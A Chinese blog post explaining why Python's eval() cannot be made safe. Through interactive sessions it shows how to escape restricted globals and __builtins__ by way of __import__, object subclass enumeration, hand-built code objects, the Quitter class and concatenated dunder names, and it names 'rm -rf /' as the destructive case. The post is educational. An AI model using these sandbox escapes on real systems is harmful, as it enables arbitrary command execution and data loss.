看完此文,你还会用 eval 吗?

Python 有一个内置的 eval() 函数,可以直接执行 Python 代码,比如:

代码语言:javascript复制assert eval("2 + 3 * len('hello')") == 17这个函数功能非常强大,但也非常危险,请不要把该函数提供给不信任的调用方。假设传入的字符串是 os.system('rf -rf /'),那么 eval 函数就会删除你电脑上的所有文件,下文举例子时我用 'ls' 来代替 'rm -rf /',免得你直接复制代码运行时导致灾难发生。

一些人看了 eval 的官方文档说明,可能会说,只要传给 global 参数一个空的字典,eval 就无法使用全局变量,这样不就安全了吗?比如下面的代码 eval("os.system('ls')", {}) 就会报错:

代码语言:javascript复制>>> import os

>>> eval("os.system('ls')", {})

Traceback (most recent call last):

File "", line 1, in

File "", line 1, in

NameError: name 'os' is not defined

>>> 其实这样仍然非常不安全,我们仍然可以借助内置的函数 __import__() 来导入标准库,比如 eval("__import__('os').system('ls')", {})

代码语言:javascript复制>>> eval("__import__('os').system('ls')", {})

Desktop burp.der

Documents ctf

Downloads flag5.txt

Library gitee

Movies github

Music kali

Parallels key.txt

Pictures log

...有人可能会说来,那我把内置的函数也给屏蔽掉,这样总安全了吧:

代码语言:javascript复制>>> eval("__import__('os').system('ls')", {'__builtins__':{}})

Traceback (most recent call last):

File "", line 1, in

File "", line 1, in

NameError: name '__import__' is not defined那现在真的安全了吗?一些人可能会认为这下安全了。

其实仍然不安全。

原因是我们依然可以使用 Python 内部的一些类,还可以自己构造字节码,请慢慢向下看。

首先要知道,eval 除了接受 Python 字符串,还可以 Python 字节对象(code object)。Python 的运行过程就是首先通过 compile 构建一个字节对象,得到代码的字节码,之后根据不同的字节码进行不同的操作,假如我们可以构造 Python 的字节码对象,那几乎可以使用 eval 来执行任何我们想要的结果。

用代码来解释下:

比如我们要执行:

代码语言:javascript复制import os

os.system('ls')Python 解释器会先编译成 code 对象,然后执行的:

代码语言:javascript复制>>> code_str = '''

... import os

... os.system('ls')

... '''

>>> code_obj = compile(code_str,'','exec')

>>> code_obj

at 0x7fc5741175b0, file "", line 2>

>>> eval(code_obj)

Desktop burp.der

Documents ctf

Downloads flag5.txt

Library gitee

Movies github

Music kali

Parallels key.txt

Pictures logcode_obj 就是 Python 内置的 code 类对象,eval 可以直接执行,

代码语言:javascript复制>>> help(code_obj)

class code(object)

| code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,

| flags, codestring, constants, names, varnames, filename, name,

| firstlineno, lnotab[, freevars[, cellvars]])

|

| Create a code object. Not for the faint of heart.

|

| Methods defined here:

|

| __eq__(self, value, /)

| Return self==value.

|

| __ge__(self, value, /)

| Return self>=value.

|

| __getattribute__(self, name, /)

| Return getattr(self, name).

|

| __gt__(self, value, /)

| Return self>value.

|

| __hash__(self, /)现在我们需要构造 code 对象,要构造 code 对象,就要使用内部的 code 类,如何获取 code 类呢?我们要获取 Python 内置的 object 对象,可以这样做:

代码语言:javascript复制>>> [].__class__.__bases__[0]

这里 [] 表示一个 list 对象,那么它的基类就是内置的 object 类。找到类 object 类,我们就可以找到 object 类的所有子类:

代码语言:javascript复制>>> [].__class__.__bases__[0].__subclasses__()

[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

......这里就获取到了 Python 内置的所有类,共有 181 个,我们用变量 all_classes 来保存这些类:

代码语言:javascript复制>>> all_classes = [].__class__.__bases__[0].__subclasses__()

>>> len(all_classes)

181

>>> [c for c in all_classes if c.__name__ == 'code'][0]

>>>好了,我们找到了 code 类,现在,我们的目的是为了执行 __import__('os').system('ls') 我们先看下 Python 把这段代码编译成的 code 类是什么样:

代码语言:javascript复制>>> code_str = "__import__('os').system('ls')"

>>> code_obj = compile(code_str,'','single')

>>> code_obj

at 0x7fd06074abe0, file "", line 1>

>>> code="codeObj({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(

... code_obj.co_argcount,\

... code_obj.co_posonlyargcount,\

... code_obj.co_kwonlyargcount,\

... code_obj.co_nlocals,\

... code_obj.co_stacksize,\

... code_obj.co_flags,\

... code_obj.co_code.hex(),\

... code_obj.co_consts,\

... code_obj.co_names, \

... code_obj.co_varnames,\

... code_obj.co_filename,\

... code_obj.co_name,\

... code_obj.co_firstlineno,\

... code_obj.co_lnotab.hex(),\

... code_obj.co_freevars,\

... code_obj.co_cellvars)

>>> print(code)

codeObj(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('import', 'system'),(),'','',1,bytes.fromhex(''),(),())code、bytes 都可以从上述 all_classes 获取,这样我们分部执行,就可以执行我们的代码:

代码语言:javascript复制>>> all_classes = [].__class__.__bases__[0].__subclasses__()

>>> code = [c for c in all_classes if c.__name__ == 'code' ][0]

>>> bytes = [c for c in all_classes if c.__name__ == 'bytes' ][0]

>>> code_obj =code(0,0,0,0,3,64,bytes.fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('__import__', 'system'),(),'','',1,bytes.fromhex(''),(),())

>>> eval(code_obj)

Desktop Movies Public burp.der github py38env

Documents Music Virtual Machines.localized ctf kali test.py

Downloads Parallels aaa.txt flag5.txt key.txt tmp

Library Pictures bin gitee log zzzz.txt可以看到 eval(code_obj) 已经成功执行, 转换成一个字符串就是:

代码语言:javascript复制>>> s = """eval( [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'code' ][0](0,0,0,0,3,64, [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'bytes' ][0].fromhex('650064008301a0016401a101460064025300'),('os', 'ls', None),('__import__', 'system'),(),'','',1, [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'bytes' ][0].fromhex(''),(),()))"""

>>> eval(s)

Desktop Movies Public burp.der github py38env

Documents Music Virtual Machines.localized ctf kali test.py

Downloads Parallels aaa.txt flag5.txt key.txt tmp

Library Pictures bin gitee log zzzz.txt

0

>>> eval(s,{'__builtins__':{}})

Traceback (most recent call last):

File "", line 1, in

File "", line 1, in

NameError: name '__import__' is not defined注意,eval 里面还可以使用 eval, 伤心的是,加上参数 {'__builtins__':{}} 后仍然会报错,说明 __import__ 在 code 对象层面依然是无法绕过的,不过上述方法给了我们一些新的思路,那就是可以自行构造字节对象。这并不是说 eval 就真的安全了,比如,下面的字符串如果传给 eval 参数,整个 Python 进程将会退出。

代码语言:javascript复制(py38env) ➜ ~ python

Python 3.8.5 (v3.8.5:580fbb018f, Jul 20 2020, 12:11:27)

[Clang 6.0 (clang-600.0.57)] on darwin

Type "help", "copyright", "credits" or "license" for more information.

>>> eval('quit()',{'__builtins__':{}})

Traceback (most recent call last):

File "", line 1, in

File "", line 1, in

NameError: name 'quit' is not defined

>>> s = """ [ c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == "Quitter" ][0](0,'quit')() """

>>> eval(s, {'__builtins__':{}})

(py38env) ➜ ~上述方法就是绕过了 __builtins__ 的限制,仍然使用了 Quitter 类来退出整个 Python 进程。

eval 中的受限模式 eval(string, {'__builtins__':{}}) 是明确尝试将某些“危险”属性访问列入黑名单。如我们所见,现有的受限模式还不足以防止恶作剧。

那么,可以使 eval 安全吗?很难说。在这一点上,很多人的猜测是:如果您不能使用任何双下划线,不就安全了。

我只能说,传给 eval 的字符串是排除任何带有双下划线的字符串,那么也许是安全的。因为某些操作依然可以构造出双下划线,如下所示:

代码语言:javascript复制>>> eval('eval("()._" + "_class_" + "_._" + "_bases_" + "_[0]")')

>>>因此,受限模式下,传给 eval 的字符串是排除任何带有下划线的字符串,那么也许是安全的。

如果本文对你有所帮助,欢迎点赞、转发、关注,感谢支持。

关于 Python 字节码的深度文章,还可以看看这两篇文章,阅读原文可以点击访问下述链接:

Exploring Python Code ObjectsPython沙箱?不存在的